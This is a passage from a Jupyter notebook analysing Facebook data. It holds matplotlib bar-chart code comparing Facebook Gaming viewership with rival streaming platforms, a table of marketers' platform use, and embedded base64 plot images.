AAAAAL0ImAAAAADoRcAEAAAAQC8CJgAAAAB6ETABAAAA0IuACQAAAIBeBEwAAAAA9LLeRGesqocl2T7JvBXjWmtnTUWjAAAAAJg9JhQwVdWfJXl9km2SLE2yW5Jzk+w1ZS0DAAAAYFaY6CVyr0+yc5JrW2vPSvKkJDdOWasAAAAAmDUmGjAtb60tT5KqelBr7X+S/N7UNQsAAACA2WKi92C6rqoemuQ/k3ylqn6R5PqpahQAAAAAs8eEAqbW2ou7h4ur6utJHpLky1PWKgAAAABmjXEDpqrauLV2S1VtMjT6su7vhkl+PmUtAwAAAGBWWFUPphOSvCjJRUlakhqa1pI8eoraBQAAAMAsMW7A1Fp7Ufd3u+lpDgAAAACzzaoukXvyeNNbaxdPbnMAAAAAmG1WdYnc0d3feUkWJbkkg8vkdkpyfpLdp65pAAAAAMwG64w3sbX2rNbas5Jcm+TJrbVFrbWnJHlSkqumo4EAAAAArNnGDZiGPK61tuLX49JauzzJwilpEQAAAACzyqoukVthWVX9e5JPZvDrcX+cZNmUtQoAAACAWWOiAdOfJHlNktd3z89K8sEpaREAAAAAs8qEAqbW2vKq+lCSL7XWrpziNrGWqqpp2U5rbVq2w8RNR+3Vfc2k9gAAMDdM6B5MVbVPkqVJvtw9X1hVp05huwAAAACYJSZ6k++3JtklyS+TpLW2NMmCKWkRAAAAALPKRAOmu1trv5rSlgAAAAAwK030Jt+XV9UfJVm3qrZP8udJvjV1zQIAAABgtphoD6bXJXl8kjuTnJjkliR/MUVtAgAAAGAWmeivyN2e5C3dAAAAAAArjRswreqX4lpr+0xucwAAAACYbVbVg+mpSX6UwWVx5yepKW8RAAAAALPKqgKmRyR5TpIDkvxRki8mObG19p2pbhgAAAAAs8O4N/lurd3TWvtya+2QJLsluSrJmVX1umlpHQAAAABrvFXe5LuqHpTkhRn0YlqQ5L1JPje1zQIAAABgtljVTb4/kWTHJKcl+fvW2uXT0ioAAAAAZo1V9WA6KMmvkzw2yZ9XrbzHdyVprbWNp7BtAAAAAMwC4wZMrbVx79EEAAAAAAIkAAAAAHoRMAEAAADQi4AJAAAAgF4ETAAAAAD0ImACAAAAoJdxf0UOAOCBqKop30Zrbcq3AQDAxOjBBAAAAEAvAiYAAAAAehEwAQAAANCLgAkAAACAXgRMAAAAAPQiYAIAAACgFwETAAAAAL0ImAAAAADoRcAEAAAAQC8CJgAAAAB6ETABAAAA0IuACQAAAIBeBEwAAAAA9CJgAgAAAKAXARMAAAAAvQiYAAAAAOhFwAQAAABALwImAAAAAHoRMAEAAADQi4AJAAAAgF4ETAAAAAD0ImACAAAAoBcBEwAAAAC9CJgAAAAA6EXABAAAAEAvAiYAAAAAehEwAQAAANCLgAkAAACAXgRMAAAAAPQiYAIAAACgFwETAAAAAL0ImAAAAADoRcAEAAAAQC8CJgAAAAB6ETABAAAA0IuACQAAAIBeBEwAAAAA9CJgAgAAAKCXKQuYqupjVfWzqrp8aNwmVfWVqvpe9/dhQ9PeXFVXVdWVVfW8ofFPqarLumnvraqaqjYDAAAAsPqmsgfTsUn2HjHuiCRfba1tn+Sr3fNU1Q5J9k/y+G6ZD1TVut0yH0xyWJLtu2HkOgEAAACYQVMWMLXWzkry8xGj903yie7xJ5LsNzT+U621O1trVye5KskuVbVlko1ba+e21lqS44aWAQAAAGANsN40b2+L1toNSdJau6GqNu/Gb53kvKH5ruvG3dU9Hjl+VFV1WAa9nTJv03lZdMyiSWz62m3ZTcum/ngdNrWrX0HdV8/aUnt1Xz3TUvdE7ddAaj93TVvtWeOsLZ/1idf96lpbaq/uq0/tmQnTHTCNZbT7KrVxxo+qtXZMkmOSZNGiRW3JYUsmp3VzwKJjFmWqj9d03T5rSVP31bG21F7dV8901D1R+zWR2s9d01V71jxry2d94nW/utaW2qv76lN7plK9avTaT/evyP20u+wt3d+fdeOvS7Lt0HzbJLm+G7/NKOMBAAAAWENMd8B0apJDuseHJDllaPz+VfWgqtoug5t5X9BdTndrVe3W/XrcwUPLAAAAALAGmLJL5KrqxCR7Jtmsqq5L8tYk/5Tk5Kr60yQ/TPKyJGmtfaeqTk5yRZK7k7y2tXZPt6rXZPCLdPOTnNYNAAAAAKwhpixgaq0dMMakZ48x/1FJjhpl/JIkO05i0wAAAACYRNN9iRwAAAAAaxkBEwAAAAC9CJgAAAAA6EXABAAAAEAvAiYAAAAAehEwAQAAANCLgAkAAACAXgRMAAAAAPQiYAIAAACgFwETAAAAAL0ImAAAAADoRcAEAAAAQC8CJgAAAAB6ETABAAAA0IuACQAAAIBeBEwAAAAA9CJgAgAAAKAXARMAAAAAvQiYAAAAAOhFwAQAAABALwImAAAAAHpZb6YbAAAAAEyeiy5Kqma6Fcw1ejABAAAA0IuACQAAAIBeBEwAAAAA9CJgAgAAAKAXARMAAAAAvQiYAAAAAOhFwAQAAABALwImAAAAAHoRMAEAAADQi4AJAAAAgF4ETAAAAAD0ImACAAAAoBcBEwAAAAC9CJgAAAAA6EXABAAAAEAvAiYAAAAAehEwAQAAANCLgAkAAACAXgRMAAAAAPQiYAIAAACgFwETAAAAAL2sN9MNAAAAYPJddFFSNdOtAOYKPZgAAAAA6EXABAAAAEAvAiYAAAAAehEwAQAAANCLgAkAAACAXgRMAAAAAPQiYAIAAACgFwETAAAAAL0ImAAAAADoRcAEAAAAQC8CJgAAAAB6ETABAAAA0Mt6M90AAABg6lx0UVI1060AYG2nBxMAAAAAvQiYAAAAAOhFwAQAAABALwImAAAAAHoRMAEAAADQi4AJAAAAgF4ETAAAAAD0ImACAAAAoBcBEwAAAAC9CJgAAAAA6EXABAAAAEAvAiYAAAAAehEwAQAAANCLgAkAAACAXgRMAAAAAPQiYAIAAACgFwETAAAAAL0ImAAAAADoRcAEAAAAQC8CJgAAAAB6ETABAAAA0IuACQAAAIBeBEwAAAAA9CJgAgAAAKAXARMAAAAAvQiYAAAAAOhFwAQAAABALwImAAAAAHoRMAEAAADQi4AJAAAAgF4ETAAAAAD0ImACAAAAoBcBEwAAAAC9CJgAAAAA6EXABAAAAEAvAiYAAAAAehEwAQAAANDLjARMVXVNVV1WVUurakk3bpOq+kpVfa/7+7Ch+d9cVVdV1ZVV9byZaDMAAAAAo5vJHkzPaq0tbK0t6p4fkeSrrbXtk3y1e56q2iHJ/kken2TvJB+oqnVnosEAAAAA3N+adIncvkk+0T3+RJL9hsZ/qrV2Z2vt6iRXJdll+psHAAAAwGjWm6HttiSnV1VL8uHW2jFJtmit3ZAkrbUbqmrzbt6tk5w3tOx13bj7qarDkhyWJPM2nZdFxywabTZGseymZVN/vA6b2tWvoO6rZ22pvbqvnmmpe6L2ayC1n7suunZZ6lVTe8ye8pQpXT0P1GbLksPWjteL1/1qWktqr+4PgNozA6q1Nv0brdqqtXZ9FyJ9JcnrkpzaWnvo0Dy/aK09rKren+Tc1tonu/EfTfKl1tpnx9vGokWL2pIlS6ZuJ9Yyi45ZlCWHTe3xqqopXf8KM3FOz2ZrS+3VffVMR90TtV8Tqf3cVa9alBwztbVXkjXTdNQ+8e+8NdHaUnt1X31qz1SqqouGbne00oxcItdau777+7Mkn8/gkrefVtWWSdL9/Vk3+3VJth1afJsk109fawEAAAAYz7QHTFW1QVVttOJxkucmuTzJqUkO6WY7JMkp3eNTk+xfVQ+qqu2SbJ/kgultNQAAAABjmYl7MG2R5PNd1/n1kpzQWvtyVV2Y5OSq+tMkP0zysiRprX2nqk5OckWSu5O8trV2zwy0GwAAAIBRTHvA1Fr7QZInjjL+5iTPHmOZo5IcNcVNAwAAAOABmJF7MAEAAACw9hAwAQAAANCLgAkAAACAXgRMAAAAAPQiYAIAAACgFwETAAAAAL0ImAAAAADoRcAEAAAAQC8CJgAAAAB6WW+mGwAATJ+LLkqqZroVAACsbfRgAgAAAKAXARMAAAAAvQiYAAAAAOhFwAQAAADToWp6BpgBAiYAAAAAehEwAQAAANCLgAkAAACAXgRMAAAAAPQiYAIAAACgFwETAAAAAL0ImAAAAADoRcAEAAAwnaqmZwCYRgImAAAAAHoRMAEAAADQi4AJAAAAgF4ETAAAAAD0ImACAAAAoJf1ZroBwMy66CI/MgIAAEA/ejABAAAA0IseTCTRiwUAAAB44PRgAgAAAKAXARMAAAAAvbhEDmAOclksAAAwmfRgAgAAAKAXARMAAAAAvQiYAAAAAOhFwAQAAABALwImAAAAAHoRMAEAAADQi4AJAAAAgF4ETAAAAAD0ImACAAAAoBcBEwAAAAC9CJgAAAAA6EXABAAAM6Vq6gcAmAYCJgAAAAB6ETABAAAA0IuACQAAAIBeBEwAAAAA9CJgAgAAAKAXARMAAAAAvQiYAAAAAOhFwAQAAABALwImAAAAAHoRMAHAmqJq6gfWTGoPAMxyAiYAAAAAehEwAQAAANCLgAkAAACAXgRMAAAAAPQiYAIAAACgFwETAAAAAL0ImAAAAADoRcAEAAAAQC8CJgAAAAB6ETABAAAA0IuACQAAAIBeBEwAAAAA9CJgAgAAAKAXARMAAAAAvaw30w0AAGDtUFXTsp3W2rRsBwCYOD2YAAAAAOhFwAQAAABALwImAAAAAHoRMAGsaaqmfgAAAJhEAiYAAAAAehEwAQAAANCLgAkAAACAXgRMAAAAAPQiYAIAAACgFwETrKmm45fE/JoYAAAAk0DABAAAAEAvAqY1nV4sAAAAwBpOwAQAAABALwImAAAAAHoRMAEAAADQi4AJAAAAgF4ETAAAAAD0st5MNwBgNqkzz5zybbQp3wIPhNoDzA3e7wEeGD2YAAAAAOhFwAQAAABALy6RgwdA12mAuWE63u8T7/lrIrUHgNWjBxMAAAAAvQiYAAAAAOhFwAQAAABALwImAAAAAHqZNQFTVe1dVVdW1VVVdcRMtwcAAACAgVkRMFXVuknen+T5SXZIckBV7TCzrQIAAAAgmSUBU5JdklzVWvtBa+03ST6VZN8ZbhMAAAAASaq1NtNtWKWqemmSvVtrf9Y9PyjJrq21w0fMd1iSw7qnv5fkymlt6Oy2WZKbZroRzAi1n5vUfe5S+7lL7ecutZ+71H7uUnum0qNaaw8fOXK9mWjJA1CjjLtfMtZaOybJMVPfnLVPVS1prS2a6XYw/dR+blL3uUvt5y61n7vUfu5S+7lL7ZkJs+USueuSbDv0fJsk189QWwAAAAAYMlsCpguTbF9V21XV7yTZP8mpM9wmAAAAADJLLpFrrd1dVYcn+e8k6yb5WGvtOzPcrLWNSwvnLrWfm9R97lL7uUvt5y61n7vUfu5Se6bdrLjJNwAAAABrrtlyiRwAAAAAaygBEwAAAAC9CJhmoarapqpOqarvVdUPqup9VfWgbtqmVfX1qrqtqt43zjqOr6orq+ryqvpYVa3fja+qem9VXVVVl1bVk4eW+VhV/ayqLh+xridW1blVdVlV/VdVbTxV+z7XraL2z6mqi7o6XFRVe42xDrWfhVZR+12qamk3XFJVLx5jHWo/C41X+6F5Htm9779xjHWo/Sy0itf9lHzeV9W23XqXVdV3qur1Q+vapKq+0rXnK1X1sKk+BnPVKmo/JZ/3aj/zVlH3KfmsV/c1w3i1H5pnUj/r1Z6pIGCaZaqqknwuyX+21rZPsn2S+Une0c2yPMnfJhn1jWfI8Ukel+QJ3fJ/1o1/frfO7ZMcluSDQ8scm2TvUdb170mOaK09Icnnk7xptXaKCZlA7W9K8r+6OhyS5D/GWJXazzITqP3lSRa11hZmUKcPV9VoP+Kg9rPMBGq/wnuSnDbOqtR+lpnBz/u7k7yhtfb7SXZL8tqq2qGbdkSSr3bt+Wr3nEk2g5/3aj+DZvCzXt1n2Ax+1qs9k07ANPvslWR5a+3jSdJauyfJXyY5uKo2bK39urV2dgb/8BxTa+1LrZPkgiTbdJP2TXJcN+m8JA+tqi27Zc5K8vNRVvd7Sc7qHn8lyUv67SJjWFXtv91au76b9ztJ5o38n49uObWffVZV+9tba3d3885LMuqvN6j9rDRu7ZOkqvZL8oMMXvejUvtZaUY+71trN7TWLu6WvTXJsiRbDy3zie7xJ5LsN1k7y33MyOe92s+4GfmsV/c1wox81qs9U0HANPs8PslFwyNaa7ckuSbJ767uyrqukwcl+XI3auskPxqa5br89o1mLJcn2ad7/LIk265uO5iQ1an9S5J8u7V251grU/tZZZW1r6pdq+o7SS5L8uqhf4Tej9rPKuPWvqo2SPI3Sf5+IitT+1llxj/vq2pBkiclOb8btUVr7YauLTck2Xx128GEzPjnvdrPiBn/rFf3GTPjn/Vqz2QRMM0+ldH/x6Ie4Po+kOSs1to3x1nPqP9DMuQVGXSpvCjJRkl+8wDbwvgmVPuqenySf07yqlWsT+1nj1XWvrV2fmvt8Ul2TvLmqpo3zvrUfvZYVe3/Psl7Wmu3TXB9aj97zOjnffe/5p9N8hfdFx2mz4x+3qv9jJnRz3p1n1Ez+lmv9kym0a7bZc32nYy4HKEGN1jdIsmVq7Oiqnprkofnvv8wuS73/d/obZJcn3G01v4nyXO7dT42yQtXpx1M2CprX1XbZHBPlINba98fa0VqP+tM+HXfWltWVb9OsmOSJSNXpPazzqpqv2uSl1bVO5I8NMm9VbW8tXa/mz6r/awzY5/33f9+fzbJ8a21zw3N89MVl1V0l1L+bHXawYTN2Oe92s+oGfusV/cZN2Of9WrPZNODafb5apIHV9XBSVJV6yY5Osn7Wmt3THQlVfVnSZ6X5IDW2r1Dk07N4HrfqqrdkvxqRffIcda1efd3nST/N8mHVmeHmLBxa19VD03yxSRvbq2dM9ZK1H5WWlXtt1txo8+qelQG98i5ZuRK1H5WGrf2rbVntNYWtNYWJPmXJP8wxj841X72mZHP+6qqJB9Nsqy19u4Rqzs1g5tKp/t7ygPZMVZpRj7v1X7GzchnvbqvEWbks17tmRKtNcMsGzJIoE9N8r0kv0zy4RHTr8ngxqy3ZZBY7zDKOu5O8v0kS7vh77rxleT93bTLMvi1ihXLnJjkhiR3dev9027865N8txv+KUnN9DFaW4fxap/BF71fD9V0aZLN1X7tGFZR+4My+N+vpUkuTrLfGOtQ+1k4rOo9f2i+xUneqPZrz7Cq2mcKPu+T7J7BpROXDi3zgm7aphl8Efpe93eTmT5Ga+uwivf8Kfm8V/uZH1ZR9yn5rFf3NWMYr/Yj5lucSfqsV3vDVAzV2qputcCarKqelsGXgD9srV20qvlZe6j93KX2c5faz11qP3ep/dyk7nOX2jObCZgAAAAA6MU9mAAAAADoRcAEAAAAQC8CJgAAAAB6ETABAAAA0IuACQBYo1VVq6qjh56/saoWT9K6j62ql07GulaxnZdV1bKq+vqI8Quq6vIJLH/k1LXuPm35o6Hni6rqvVO9XQBg7SBgAgDWdHcm+cOq2mymGzKsqtZdjdn/NMn/aa096wFubrUDptVsX5IsSLIyYGqtLWmt/fnqbhcAmJsETADAmu7uJMck+cuRE0b2QKqq27q/e1bVN6rq5Kr6blX9U1UdWFUXVNVlVfWYodX8QVV9s5vvRd3y61bVO6vqwqq6tKpeNbTer1fVCUkuG6U9B3Trv7yq/rkb93dJdk/yoap651g7WVWHVtXnqurLVfW9qnpHN/6fksyvqqVVdXw37o+7fVlaVR9eESZV1W1V9baqOj/JU6vq77p9uLyqjqmq6ub73ao6o6ouqaqLu+PxT0me0a3zL7t9/UI3/yZV9Z/dsTivqnbqxi+uqo9V1ZlV9YOq+vNu/AZV9cVu/ZdX1ctXXWYAYDYTMAEAs8H7kxxYVQ9ZjWWemOT1SZ6Q5KAkj22t7ZLk35O8bmi+BUmemeSFGYRA8zLocfSr1trOSXZO8sqq2q6bf5ckb2mt7TC8saraKsk/J9krycIkO1fVfq21tyVZkuTA1tqbVtHmhUle3rX55VW1bWvtiCR3tNYWttYOrKrf7+Z5emttYZJ7khzYLb9Bkstba7u21s5O8r7W2s6ttR2TzE/yom6+45O8v7X2xCRPS3JDkiOSfLPbzntGtOvvk3y7tbZTBr2pjhua9rgkz+uOy1urav0keye5vrX2xG7bX17FfgMAs5yACQBY47XWbskg1FidS7YubK3d0Fq7M8n3k5zejb8sg1BphZNba/e21r6X5AcZBCbPTXJwVS1Ncn6STZNs381/QWvt6lG2t3OSM1trN7bW7s4gxNljNdqbJF9trf2qtbY8yRVJHjXKPM9O8pQkF3bte3aSR3fT7kny2aF5n1VV51fVZRkEX4+vqo2SbN1a+3yStNaWt9ZuX0W7dk/yH938X0uy6VDY98XW2p2ttZuS/CzJFhkc4z+oqn+uqme01n61OgcBAJh91pvpBgAATNC/JLk4yceHxt2d7j/Musu/fmdo2p1Dj+8den5v7vtvoDZiOy1JJXlda+2/hydU1Z5Jfj1G+2oV7Z+I4Tbfk9H/rVZJPtFae/Mo05a31u5Jkq4n1geSLGqt/ai7Mfq8B9jO0ZZZcdzu1+bW2ner6ilJXpDkH6vq9K4nFwCwltKDCQCYFVprP09ycgaXr61wTQa9eZJk3yTrP4BVv6yq1unuQ/ToJFcm+e8kr+ku90pVPbaqNljFes5P8syq2qy7J9IBSb7xANozmrtWtCXJV5O8tKo279q2SVWN1tNpXvf3pqraMMlLk5W9wa6rqv265R9UVQ9OcmuSjcbY/lnpLsPrQrabuvWMqrtc8PbW2ieTvCvJkye4nwDALKUHEwAwmxyd5PCh5x9JckpVXZBB8DJW76LxXJlBELRFkle31pZX1b9ncBndxV3PqBuT7DfeSlprN1TVm5N8PYMeP19qrZ3yANozmmOSXFpVF3f3Yfq/SU6vqnWS3JXktUmuHdGeX1bVRzK4XO2aJBcOTT4oyYer6m3d8i9LcmmSu6vqkiTHJvn20PyLk3y8qi5NcnuSQ1bR3ickeWdV3dut/zWrvccAwKxSrY3sFQ4AAAAAE+cSOQAAAAB6ETABAAAA0IuACQAAAIBeBEwAAAAA9CJgAgAAAKAXARMAAAAAvQiYAAAAAOjl/wMjK7IonYaUwgAAAABJRU5ErkJggg==\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "import numpy as np\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB23.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "z = list(df.iloc[:, 2])\n", + "a = list(df.iloc[:, 3])\n", + "b = list(df.iloc[:, 4])\n", + "\n", + "N = len(x)\n", + "ind = np.arange(N)\n", + "plt.figure(figsize=(21,11))\n", + "width = 0.2\n", + "\n", + "# Plotting\n", + "plt.figure(figsize=(20,10))\n", + "plt.grid(axis='y', color='g')\n", + "plt.grid(axis='x', color='g')\n", + "plt.bar(ind, y , width, label='Facebook', color='r')\n", + "plt.bar(ind + width, z, width, label='YouTube',color='b')\n", + "plt.bar(ind + 2*width,a, width, label='Twitch',color='k')\n", + "plt.bar(ind + 4*width,b, width, label='Mixer',color='c')\n", + "\n", + "plt.xticks(ind + width / 2, x)\n", + "\n", + "plt.xlabel(\"Number of Interactions\")\n", + "plt.ylabel(\"Media\")\n", + "plt.title(\"Facebook Gaming, average concurrent viewers vs rivals, thousands*\")\n", + "\n", + "# Finding the best position for legends and putting it\n", + "plt.legend(loc='best')\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Facebook use for marketing vs other platforms" + ] + }, + { + "cell_type": "code", + "execution_count": 46, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Platform Percentage_marketers\n", + "0 Facebook 94\n", + "1 Instagram 76\n", + "2 LinkedIn 59\n", + "3 Twitter 53\n", + "4 YouTube 53\n", + "5 Pinterest 25\n", + "6 Snapchat 5\n", + "7 TikTok 5\n" + ] + }, + { + "data": { + "image/png": "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